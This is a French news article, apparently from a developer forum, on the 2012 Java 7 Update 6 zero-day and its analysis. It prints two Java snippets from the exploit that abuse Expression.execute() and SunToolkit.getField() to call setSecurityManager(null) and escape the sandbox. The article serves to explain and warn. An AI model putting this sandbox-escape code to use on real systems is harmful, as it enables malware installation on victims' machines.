Faille de sécurité critique dans Java 7 Update 6
Faille de sécurité critique dans Java 7 Update 6
pouvant être utilisée pour installer des malwares, la désactivation de la plateforme recommandée
Les experts en sécurité tirent la sonnette d’alarme pour la dernière version de la plateforme Java. Java 7 Update 6 serait sujet à une vulnérabilité activement exploitée.
Les chercheurs en sécurité du cabinet FireEye ont découvert une faille de sécurité dans la plateforme pouvant être exploitée pour infecter des ordinateurs avec des logiciels malveillants. La vulnérabilité aurait été utilisée pour installer à distance le cheval de Troie Poison Ivy, qui a été utilisé dans le passé dans de nombreuses campagnes de cyberespionnage.
Les experts en sécurité ont classé cette vulnérabilité comme extrêmement critique, car elle permet l’exécution de code arbitraire sur les systèmes vulnérables sans l’intervention de l’utilisateur.
Les risques d’attaques par des pirates sont élevés d’autant plus qu’une preuve de faisabilité (PoC) aurait déjà été publiée sur Internet. Le PoC aurait même été utilisé pour créer un autre exploit pour une utilisation avec le Framework de test populaire Metasploit.
L’exploit pour Metasploit a été testé avec succès sur la mise à jour Java 7 Update 6, en utilisant différents navigateurs et systèmes d’exploitation dont Firefox sur Ubuntu 10.04, Internet Explorer, Chrome et Firefox sur Windows XP, Vista et Windows 7, Firefox et Safari sur Mac OS X 10.7.4.
Oracle n’a pas encore publié de commentaire concernant cette faille ou annoncé une date pour la sortie d’un correctif de sécurité. Selon le calendrier de l’éditeur, une mise à jour de la plateforme Java est prévue pour mi-octobre.
Pour l’instant, il est vivement conseillé aux utilisateurs de cette version de Java de désactiver complètement la plateforme, jusqu’à ce qu’un correctif soit disponible.
La vulnérabilité affecte uniquement le JRE (Java Runtime Environment) 1.7 qui contient Java 7 Update 6. Les versions 1.6 et antérieures du JRE ne sont pas concernées.
Source : Secunia, FireEye, Rapid7
Et vous ?
:fleche: Utilisez-vous Java 7 Update 6 ? Que pensez-vous de cette faille ?
Le nouvel exploit zero-day de Java 7 décortiqué
Le nouvel exploit zero-day de Java 7 décortiqué
Il permet de désactiver le sandbox avec une facilité déconcertante
Le grave exploit 0Day révélé au grand jour ce week-end (lire ci-devant) fait l'objet d'analyses approfondies de la part d'experts en sécurité.
L'analyse de Michael Schierl, traqueur récidiviste de vulnérabilités Java, met l'index sur une faille de sécurité dans l'implémentation de la méthode .execute() de la classe Expression. L'exploit n'utilise en aucun cas du bytecode, il n'est, en somme, pas très sophistiqué, mais reste difficile à détecter.
L'exploit utilise la classe sun.awt.SunToolkit pour désactiver le SecurityManager et par conséquent le sandbox de Java. Il ouvre ainsi le champ vers une liberté totale sur le système.
Pour mieux comprendre, il faut savoir que cette classe propose une méthode nommée getField(), qui donne accès, en lecture et écriture, aux attributs privés d'autres classes.
En principe, un code ne peut accéder à ces attributs, mais la nouvelle méthode .execute() de la classe Expression introduite dans Java 7 souffre d'un bug, qui expose dangereusement la méthode getField(). Dès lors, un code pareil peut faire des ravages :
Code:
1 2 3 4 5 6 7 8 9 10 11 12 13
| private void SetField(Class paramClass,
String paramString,
Object paramObject1,
Object paramObject2) throws Throwable
{
Object arrayOfObject = new Object[2];
arrayOfObject[0] = paramClass;
arrayOfObject[1] = paramString;
Expression localExpression = new Expression(GetClass("sun.awt.SunToolkit"),
"getField", arrayOfObject);
localExpression.execute();
((Field)localExpression.getValue()).set(paramObject1, paramObject2);
} |
À partir de ce bout de code, on peut désactiver le sandbox en appelant System.setSecurityManager(null). Pour cela, l'exploit crée un objet Statement pour appeler cette méthode.
Néanmoins, un appel direct n'est pas permis, et sera considéré comme non sûr.
Pour contourner cette restriction, un objet AccessControlContext est créé en premier qui représente en fait une classe démarrée à partir du disque dur local, et bénéficie ainsi de tous les droits d'accès.
Code:
1 2 3 4 5 6 7 8 9 10 11 12 13
| public void disableSecurity()
throws Throwable
{
Statement localStatement = new Statement(System.class, "setSecurityManager", new Object[1]);
Permissions localPermissions = new Permissions();
localPermissions.add(new AllPermission());
ProtectionDomain localProtectionDomain = new ProtectionDomain(
new CodeSource(new URL("file:///"), new Certificate[0]), localPermissions);
AccessControlContext localAccessControlContext =
new AccessControlContext(new ProtectionDomain{localProtectionDomain});
SetField(Statement.class, "acc", localStatement, localAccessControlContext);
localStatement.execute();
} |
Oracle n'a pas encore annoncé la sortie d'un correctif. Java 7 Update 6 est la dernière version téléchargeable. Toutes les mises à jour de Java 7 souffrent de cette même vulnérabilité.
Ainsi, on préconise de carrément désactiver le plug-in Java du navigateur, sous peine, d'ouvrir une brèche que des malwares n'hésiteront pas à exploiter.
Source : le code de l'exploit
Et vous ?
:fleche: Oracle réagira-t-il assez vite pour éviter une catastrophe virale ?
:fleche: Quel est le vrai potentiel d'un tel exploit ?
:fleche: Les IDS et les antivirus seront-ils suffisants ?